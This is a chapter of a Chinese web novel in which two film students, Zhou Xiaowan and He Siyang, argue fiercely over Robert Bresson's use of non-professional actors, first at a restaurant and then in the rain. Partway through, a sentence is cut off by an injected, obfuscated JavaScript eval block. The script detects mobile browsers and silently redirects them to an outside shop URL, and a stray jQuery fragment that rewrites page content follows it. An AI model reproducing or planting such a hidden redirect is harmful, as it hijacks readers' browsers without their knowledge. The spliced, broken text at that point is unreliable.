那天，从一大早天气就不太好，一场雨随时要砸下来，周小玩交完转专业的材料，到学校外的川菜馆吃饭。
她原来读剧作，要转去学影视技术，交的材料里有部片子是她新拍的，自编自导，拍了一星期，原始素材够她剪十部短片了，她用这些素材没日没夜剪了好几版，最后在纠结中，赶着截止时间选了一版上交。
用陈挚的话说，她在交作业上的拖延可以比肩墨镜王，只不过人家墨镜王赶的是戛纳电影节的作业。
陈挚是她剧作专业的同学，加上她室友鹿溪，三个人常常一块组队做小组作业。这回要正经拍一个原创短片，六个人一组，约好了边吃饭边聊作业。
周小玩一个人先到，要了半菜单的菜，炒饭先上来，半碗饭吃完，其他人陆陆续续都来了，就差陈挚一个。鹿溪给他打电话，他说把室友喊上了，让多点两道菜。
桌上菜已经摆满了，鹿溪坚持又去添了两道。
周小玩要饿晕了，话都说不上，只顾着吃饭，等到陈挚带着人来了，她抬头看一眼，猝不及防撞上一张陌生的脸。
陈挚的三个室友，有两个是剧作班的同学，另外一个听说是管理学院的学生，也是陈挚的高中同学，陈挚常常喊这同学出来一块玩，但这人很少出现，少有的几次来了，碰巧周小玩都不在。
“贺司扬，你俩坐这边来吧。”鹿溪朝两人招手。
陈挚一招即来，贺司扬却就近找了个空位，笑说不干扰她们聊作业。
“别啊，剧本你不是都看过了么，说好来给我们当执行制片的啊。”陈挚算盘打得咣咣响，嘴上开玩笑说要拉一个人来分担这次作业的经费，其实是周小玩之前提过要找一个学制片的来一起合作，互相偷师一下，他想着宿舍不就有一个么，回去把剧本给贺司扬一看，贺司扬觉得剧本挺有意思，却没答应要来。他早预想到了，人家高中一毕业就实打实去剧组里学经验了，不一定瞧得上他们这种草台班子，但正是因为有经验，才更要把人拉来。“我们也没那么差，说不定比你去的剧组更有意思。”
“剧组也就那样，”贺司扬是被陈挚硬拉来的，没想要动筷子，“我们课不一样，时间对不上，你们要人的话我可以帮你们问问师兄师姐。”
好歹当了一个多学期的室友，陈挚知道贺司扬这是还没有看到参与进来的价值，往难听了说，这人有点功利，不对自己有利的事情不做，往好听了说，他很知道自己要什么，不会随意被动摇。他不会把计划一笔一划写下来，但每天做什么都井井有条，要是没有例外，不会轻易改变自己的安排。
陈挚为了把人拉来，放话说给他看个有意思的短片，短片就是周小玩刚交上去的那部，他自己压根还没看过，这会儿跟周小玩要来手机，拿去给贺司扬看。
周小玩刚才一直没插话，见自己手机被一只骨节分明的手握住，她抬眸，跟对面人的视线撞上，很快又错开。其他人都凑热闹挤过去看片子，她给自己打一碗汤慢慢喝起来，喝一口，往对面瞟一眼，喝一口，再瞟一眼，说实话，也没有多帅啊，鹿溪未免太夸张了点，不过真要是什么大帅哥，比如陈挚那样的，早在学校出名了，她也不用等到现在才知道他什么长相。
鹿溪说不是一眼惊艳，属于耐看型，她喝一口汤，又往对面看，对面的人却像是感应到了她的审视，忽然抬眼看过来，她没来得及避开，两人短暂对视两秒，他迅速看回手机，周小玩也不以为意，舀了半碗锅巴炒饭继续吃。
十五分钟的短片，片名叫《二手冰箱》，主角是一台将近400L的冰箱和一个搬运工。冰箱功能完好，唯一不足是冷冻层有一格怎么也打不开。冰箱每到一户人家，买主都设法要把这格打开，用锤子敲过，用牵引绳扯过，拆过，也试过喊来一大堆壮汉排排站好，用拔河的方式拉过，可各种方式都试了，愣是没人成功。搬运工每回搬上搬下，把冰箱从这个小区运到那个小区，偶尔他会搭把手，更多时候只是站在旁边看那些人抓耳挠腮费尽心思。
某天，一位买主要求搬运工把冰箱从三楼扔下去，搬运工一句为什么还没问出口，买主先上手使了一把劲，就差那么一点，被搬运工及时拽住，冰箱才没摔下去。
搬运工花了二百块，自己把冰箱买了回去，洗得干干净净后通上电正常使用，冰箱足够大，少一格也没什么影响。
又是某天，搬运工竟无意中把那一格给拉开了，冷气冒出来，里面却是空空如也，什么都没有。
这个结尾多少有些落入俗套了，也在意料之中，但没有为了标新立异而标新立异，看完后也能够清楚得知导演的表达。
“这个结尾……”陈挚看一眼周小玩，眼睛里都是赞许，再看回贺司扬，撞一撞他的肩：“怎么样？不一般吧？是不是能看到大师的影子？”
陈挚说得夸张，但无论是从剪辑风格还是演员表演，确实可以看出导演是在模仿罗伯特·布列松。
而贺司扬不怎么喜欢罗伯特·布列松。
“嗯，很厉害。”这句赞同并不违心，从剧本到场面调度再到剪辑，贺司扬不否认这部片子比他看过的大多数大学生短片都要好，尤其是剪辑，跟镜头、声音形成了一套很协调的内部节奏，自然而然就能给观众带来情感上的冲击——这些观众里不包括他。
“对吧！我就说没骗你，你就别犹豫了，导演剪辑都有了，就差你一个。”陈挚想着先把人骗来再说，“你来了我们就都听你的，你一个人说了算，还不成啊？”
“陈挚你可闭嘴吧，你好歹让人考虑一下。”鹿溪见不得陈挚这幅不要皮不要脸的样子，她看回贺司扬，话锋转了一转：“我们这个作业也不急，时间上可以商量着来的，最重要还是作品的质量问题，你看过小玩的片子了，有她把控不会很差的，我们每回都拿最高分来着。”
陈挚立马附和：“就是就是，鹿溪你会说早说啊，司扬你要——”
“陈挚，”周小玩径直打断他，“你坐回来。”
陈挚不明所以，摸着脑袋坐回周小玩旁边，周小玩不看他，而是看去对面，语气十分肯定地说道：“你不喜欢这部片子。”
周小玩早就从这人细微的表情中看出来了：“说说吧，你不喜欢哪里？”
她从表情到语气都很自然，可在大家听来多少有点不服和挑衅的意味，几个人一时间都互相看起眼色来，反倒是贺司扬泰然自若，唯独讶异于自己的心思被看了出来，既然她开诚布公问了，他也没什么好隐瞒的。
“你是故意找了非职业演员来演？”
他这么一问，周小玩立马就明白了。在布列松的电影里，非职业演员的“木偶式”表演一直以来都有争议，演员没有表情，没有情绪，始终冷漠着一张脸在机械地表演。周小玩这次拍片模仿的就是这种理念，演员全程都是一张面瘫脸，仅有的几句台词也说得冷静平直，语调上没有任何起伏。
她反问：“这种表演没办法打动你？”
答案已经昭然若揭：“演员像机器人，不透露任何情感，我不会被这种表演打动，反而很容易出戏。”
周小玩赞同地点了点头，随即又说：“那你应该知道布列松为什么会选择这种表演方式，他提倡的是‘反电影化’，是去戏剧化的表演，只有剔除掉了戏剧化的形式，观众才能更专注于电影本身，而不是这一秒被演员的夸张表演逗笑，下一秒又跟着演员一起哇哇大哭，一旦观众完全被演员的表演控制，那么影像、声音这些部分都会被忽略掉，这样还算看电影吗？”
贺司扬也点了下头：“你举的例子有点极端了，一个懂得表演的演员会克制，会有收有放，她可以很好地跟影像、声音融合在一起，演员是有她自己的生命力的，不同的演员表演相同的片段，带来的感受都会有区别。但在布列松的电影里，谁来演好像都可以，演员的情绪完全被剥夺了，她没有灵魂，观众根本无法感受到任何情感，又怎么去感受你说的影像和声音？”
周小玩微微皱起了眉：“你的话里已经做了预设，你觉得演员表演得越真实，观众的情感反应就会越强烈，你也觉得电影最先是通过演员的表演来传达给观众的，那是不是意味着你认为单独的影像跟声音都无法触动观众？”
“我没有那样预设，演员不需要刻意去演绎，只需要自然地呈现出真实的生活状态，但布列松追求的去戏剧化表演是违反人的自然反应的，该笑的时候不笑，该哭的时候不哭，他抑制了人的情感本能。我也没有说影像和声音无法单独打动观众，电影是综合性的艺术，表演、影像、声音这些都是其中一个元素，当中间一个被完全剥离后，电影的整体力量就会被削弱，而在你的概念里，表演好像成了纯粹的附属物，可有可无。”
两个人说话像是不用思考，中间根本没有空隙，陈挚几度想要插话都没成功，这回卡着点想要开口，又被周小玩一把拦住，她继续说：“我没有否认表演的重要性，布列松也只是在探讨没有表演的可能性，反而是你，你是认为，演员、影像、声音这些，每一个部分都不可以缺席对吗？”
“不是不可以，是可以不。”贺司扬的表情渐渐严肃起来。
周小玩点了点头，一口气急需纾解出去：“好，你认为缺少其中一个元素，电影的力量就会被削弱，那你认为以往的无声电影，黑白电影，它们的力量都被削弱了吗？”
“那是另一回事，无声电影没有声音，但会在需要的时候直接打出台词，演员的表演和肢体语言仍然能够传递情感，而很多黑白电影会更注重光影的使用，也就是说，在某个元素不得不被剥离的时候，导演会通过其他方式来弥补这种缺失。再比如《辛德勒的名单》，黑白电影是导演的自主选择，但那抹红色出现的时候，实际上是导演在加强它缺失的元素。还有，无论是你说的无声电影还是黑白电影，主角都存在，意味着表演仍然存在。”
周小玩的声调不自觉地抬高了：“你自己都说弥补和加强了，那布列松的电影就不是一种加强了吗？你说的是同元素之间，那为什么就不可以是不同元素之间的加强呢？他让表演缺位，也恰恰就是通过极简风格来加强影像和声音这两个元素的。他说过了，电影不是用来理解的，而是用来感受的。”
周小玩的语速越来越快，不自觉地，贺司扬的表情也越来越差：“那你是不是也在预设表演的缺位反而能够加强观众的感受？波德维尔的叙事理论说了，电影的叙事不只是影像和时间的编排，还需要情感和主题来引起观众和角色的共鸣。布列松说电影是让人感受，但他却直接剥夺了观众感受的途经，你认为大部分观众可以脱离演员的表演，通过纯粹的影像和声音来感受电影吗？”
周小玩忍不住了，这人的理念恰恰是她最讨厌的那一种，她腾的一声站了起来，旁边的陈挚忙伸手来拦，周小玩直接挥手把人给挡开了：“你是不是学电影的啊？你对电影的理解也太狭隘了吧！”
“小玩！”鹿溪也早就看不下去了，只是始终没有找到机会，眼看形势不妙，必须得站出来劝一劝了，“就是探讨探讨嘛，没必要那么生气的，布列松本来就一直有争议的啊，大家持有不同看法也很正常。就说我，我也不是很喜欢布列松的电影，但也尊重别人不喜欢。”
其他人也跟着一起劝架，周小玩不认：“争议是争议，可他完全没有理解布列松的美学！”
她下一刻看回贺司扬，“如果所有导演都像你这样想，那全都去拍好莱坞电影得了，全都去拍商业片文艺片，艺术电影就不需要了是吗？对电影的探索就不需要了是吗？布列松就是在探索！你把波德维尔拉出来举例就是狗屁不通，布列松的电影跟他的理论根本没有关系，一定要选一个的话，你怎么不把巴赞的现实主义电影理论拿出来讲？布列松就是要剥离一切多余的东西，他希望观众去体验真正的现实，而不是被那些夸张的表演所操控。在你看来，电影需要演员和情节来引导观众去感受，那为什么不可以留出更多的空间让观众自己去感知，去探索？观众可以自主去探索感受的边界，而不是一味地依赖电影来引导，只要没有依赖了，观众才能够更好、更直接也更深入地去感受电影的本质。他追求的不是你说的共鸣，而是一种内在的反应。你既然来学电影，肯定也有过那种时刻，不是感受情绪，而是感受到电影本身！”
“是，是有过，就是因为有，我才更希望有更多观众可以感受到那个时刻。”贺司扬的脸色已经算得上是阴沉，“你说得没错，布列松是在探索电影的边界，但并不是每一个人都能理解他的美学，不是每一个人都能通过他的美学来感受到电影的本质。电影的美学可以更广泛，可以让更多层次的观众来感知，布列松的美学算广泛么？”
“你的意思是一部电影必须要照顾到每一个人了？这可能吗？为了照顾到更多人而放弃探索，那这到底是进步还是退步呢？”
“你总是在偏离重点，”贺司扬也忍不了了，“我没有说要放弃探索，你说布列松是在推动观众主动去感受，那为什么就一定是在剥夺电影元素的基础上，难道在元素俱全的情况下观众就彻底丧失了主动权，完全被演员和情节牵着走了吗？”
“你说我偏离重点，你不是也在偏离重点？！”
眼看两边都大为光火，陈挚赶忙站到中间：“大家都先冷静一下，先停一停，行不行？”
“不行！”周小玩果断回答。
而贺司扬也默认了她的意思，这回他抢了先：“你说的我能理解，同样的理念塔可夫斯基也说过，观众不应该被动接受电影内容，而要积极地参与进来。但他的电影就没有像布列松那样极端地让情感缺位，演员的表演并不是多余的，不是去除它就一定可以加强其他元素。”
他定定地看了周小玩两秒：“你不过是想说服我赞同你的观点，在观点上进行霸凌，真正狭隘的到底是谁？”
是你，周小玩啊。
眼看着周小玩下一秒就要爆炸，陈挚这回先扯高嗓子压制住其他人：“鹿溪你先拉住小玩！”
他自己则跑到贺司扬那边，拽着他往外边走：“搞什么鬼啊司扬，干嘛吵起来，都不知道你翻起脸来这么吓人！先忍一忍行吧，我们出去说两句！”
“不能走！”周小玩仍在气头上，根本不接受中场暂停，可左右两边都有人拦着她，她只能一边被抱着一边冲那人背影喊：“什么狭隘，明明是你品味不行！扯什么波德维尔，下一句是不是要搬出克里斯蒂安·梅茨了？你不懂布列松，那间离效果、打破第四堵墙总知道吧，都是在批判在反思，一样的道理，怎么你就偏偏认为布列松不行了？！”
“小玩！你少说两句吧！”鹿溪喝止她。
“少说不了，气死我了！说我狭隘，说我霸凌，根本是他自己电影修养不够。”
“这是人身攻击了呀，你先冷静冷静！”
周小玩还要开口，外面哐哐几个大雷砸下来，就这么一会儿功夫，竟然就下起了雨，淅淅沥沥地听得让人烦躁。
她起身往外走，鹿溪急忙去拦，却只见她坐回了原来那桌，拿起大瓶饮料，仰头对着瓶口咕咚咕咚喝了起来。
炒饭一吃容易渴，加上刚才一顿吵，心里有气，周小玩喝完一口又一口，鹿溪直接把瓶子给抢了：“再喝待会儿胀气了，也没什么的啊，平常我们讨论不也会吵两句么，怎么今天……”
“你没看到他那副高高在上的样子？嘴上说得好听，什么他都理解，眼睛里全是优越感，好像所有人的观点都不如他。”
“你们两个都……”鹿溪话没说完，周小玩的手机先响了。
这个电话来得很不是时候，撞周小玩枪口上了，于是周小玩的爸本来只需要给五万块，她一开口，立马又多给出去五万。
又有钱拍片了，周小玩的心情稍微好了一点。电话一挂，见外面两个人站到了窗下，她心想刚才是她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603594|139918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
先用“狭隘”把人一棒子打死，他反唇相讥也算是情理之中吧。
她看了眼柜台，不如借着买单的机会，去听听他们在说什么，再看情况给彼此找个台阶。这人虽然理念跟她不同，但有碰撞才更有意思嘛，陈挚还说了，这人认识不少人，很多拍摄场地可以约得上，那为了拍电影她低一次头也是可以的。
周小玩立马去了柜台，谁知老板说有人已经付过了。
“谁付的？”
老板往外一点：“那个高个帅哥。”
“……”
周小玩无语了，装什么绅士呢，都没见他动筷子，干嘛就非要抢着买单？
她把那口气压回去，大局为重大局为重，人扒到了窗口，想着就厚一回脸皮，故意吓一吓他们，气氛变了就好说话了，可面子上总还有些过不去，犹豫间，先听见陈挚的话。
“我之前还想着你们应该能聊得来，谁知道头回见就这样了，不过也就这点看法不同，多聊几回就能了解各自的取向了。”
“你想多了，”贺司扬没有任何犹豫，“不是看法不同的问题，是她根本无法接受别人跟她不一样，再说也没意思。”
陈挚刚要反驳，后头忽然传来一声呵笑。
“那你呢？”周小玩直直看向转过头来的贺司扬，“你不是也不接受布列松的理念么？你怎么就不说应该尊重不同呢？”
陈挚极有眼力见，直觉大事不好，赶紧往两人中间一挡，又扯着喉咙往里喊：“鹿溪，你快来！”
“用不着！”周小玩一句话堵回去，冷眼看回贺司扬：“才不会再跟这种人吵，浪费我时间！”
胸中堵着一口气，外面还下着大雨，她直接就冲了出去，脚步飞快，跟跑也没什么区别了，后头有人喊她，她不应，一股脑往前冲，直到被陈挚一把拉住，无非也是劝她，她把人往外一推：“你回去吧，我一个人走走，饭钱算好了告诉我。”
雨水浇下来，本应该把她的火浇灭了，周小玩却是越想越气，说她怎么样都行，懒也好，不讲理也罢，但绝对不可以是“没意思”！绝！对！不！可！以！
她气得肺都要炸了，陈挚也没走，后面还跟着鹿溪，其他人也陆陆续续来了，一个个来劝她，她充耳不闻，只让她们赶紧回去，她气汹汹越跑越快，可很快又被人捉住，她本能往后一甩，却没甩开。
“你是小孩子吗？要所有人都围着你转？”是贺司扬，头发衣服也都湿了，伞往她头上打，“你要不服气，找个地方随便你想怎么聊都行，非要往雨里跑？”
“谁要跟你聊？我跑我的，关你什么事？”
“是不关我事，那陈挚他们呢？你不回去，其他人也要跟着你一起淋。”
“既然不关你事，你管那么宽做什么？”她把他手一推，伞歪到一边去，冲后头陈挚喊：“你们别管我了，我待会儿自己就回去了！”
说完继续往前，后头冷不丁传来一句：“不懂电影的是你。”
她脚下一个急刹车，回头见陈挚拉了贺司扬要往旁边走：“你少说一句行不行！”
贺司扬也听不见别人的话了，直盯向周小玩：“我说的有问题么？自以为看了点书懂点理论就觉得自己很厉害，能欣赏布列松就觉得别人没眼光，这些话说出去只会让隔壁学校笑掉大牙。”
周小玩追过去两步：“噢，你懂波德维尔，你厉害！你看了很多书！你觉得喜欢布列松的都是俗人一个！那你告诉我，你喜欢的又是什么了不起的大导演？”
“别说了小玩！”鹿溪把她往另一边拽，“你们现在都不冷静！我们先回宿舍行不行？”
周小玩把伞往鹿溪头上推，要她自己撑好，继续逼问贺司扬：“你说啊，说不出了？”
贺司扬一脸冰霜：“无论我说什么你都能反驳，我要是说库布里克，你会说他太哲学，说希区柯克，你会说太商业，说哈内克，你又可以说他的风格太冷漠。”
周小玩差点笑出声：“你可真会举例子，全是克，全是男导演，全是不尊重演员的男导演！女导演你是一个都举不出了？！”
贺司扬一腔怒火无处发泄，最后只平静道：“你这个人简直不可理喻，跟你说话就是在对牛弹琴。”
“彼此彼此！但别侮辱牛！”
几乎是同时，两人都甩开其他人往前走，一个在左，一个在右，中间隔着校道，一个后面跟着陈挚，一个后面跟着鹿溪。
周小玩目不斜视往前走，到了学校，她顺着小路往右一拐，另一侧的陈挚冲鹿溪喊：“鹿溪！小玩要去干嘛？”
“小玩说她要去跑一圈！你快来，她根本听不进我的话！”
陈挚急得不行，拽住贺司扬：“你就低个头不行？一个架着一个，算什么啊？小玩都被你气得要暴走了。”
“不关我事。”嘴上这么说，贺司扬仍往右侧的露天跑道瞥一眼，隔着雨幕只能看见一个模糊的影子越走越远。
“算了，今天真是邪门了，你俩一个比一个不正常！”
陈挚说完丢下贺司扬，伞也懒得撑了，径自去了运动场，刚进铁网门，身侧有人超过他，小跑着去了前头。
周小玩刚跑半圈，面前冒出一个人来，还是那张一看就让人来气的脸。
贺司扬努力平复了几秒才开口：“请问你可以理智一点么？淋生病了算我的吗？”
“放心，我就是死了也怪不到你头上！”
贺司扬就要气笑了：“你是想拍《雨中曲》？要不要给你找把黑伞来？”
他说得如此讽刺，周小玩顶回去：“谢谢，不用！我拍《瑟堡的雨伞》，什么颜色的雨伞都行！”
贺司扬冷笑：“你也很会举例子，没几部电影的故事会比这部俗套。”
周小玩一时没说话，只胸前剧烈起伏，她憋着一口气，等到陈挚跟过来才开口：“陈挚，把你的室友带回去，别让我再看见他一眼，不然我就要打人了！”
陈挚也是服了，还以为贺司扬是来讲和的，谁知一会儿功夫还越讲越崩了，他刚要开口，贺司扬却先一步头也不回地走了，他只好把话咽回去，看向另一头：“周小玩你倒是等等我，这么淋着待会儿感冒了！”
当晚，周小玩没感冒，但失眠了。
她躺床上辗转反侧，转个身，生气，再转个身，说服自己没必要为了这种人生气，转个身，更生气了。
她快憋得吐血，恨不得现在就跑去陈挚宿舍把人揪出来再吵一轮，她就不信这回吵不赢他。
她想了想，从手机里找出陈挚的聊天框——
“那个贺什么扬的，他是不是……”
不行，删掉。
“你那个室友什么时候开始学电影的？”
删掉。
“你室友的课表能不能发我——”
一行字还没输完，陈挚的电话先过来了。
“干嘛？”她没好气地开口。
陈挚知道她还在生气，没再说吵架的事，只问她周末去不去野外玩彩弹射击。
“不一定有时间。”
“你现在有，先腾给我不就行了？”
周小玩犹豫了会儿：“都还有谁？”
“我们几个，你还想喊谁？我来喊，人多更好玩。”
周小玩没说话，她总不能说你把你室友喊来，我要再跟他辩论一轮。
“你喊吧，我都行。”
就这么定了下来。
第二天周小玩破天荒起了个大早，在图书馆外等着开门，她给自己列了长长一串书单，除了布列松相关的，七七八八地借来一大摞，不管上课下课都在啃，就等着后面碰到那谁，一定要狠狠把他给辩倒，出了那口恶气才行。
好容易，也好不容易到了周末，那天周小玩依然起了个大早，陈挚在楼下等她跟鹿溪，几个人先去校门口等其他人，可左等右等，一直到约好的出发时间，那个谁都没有出现。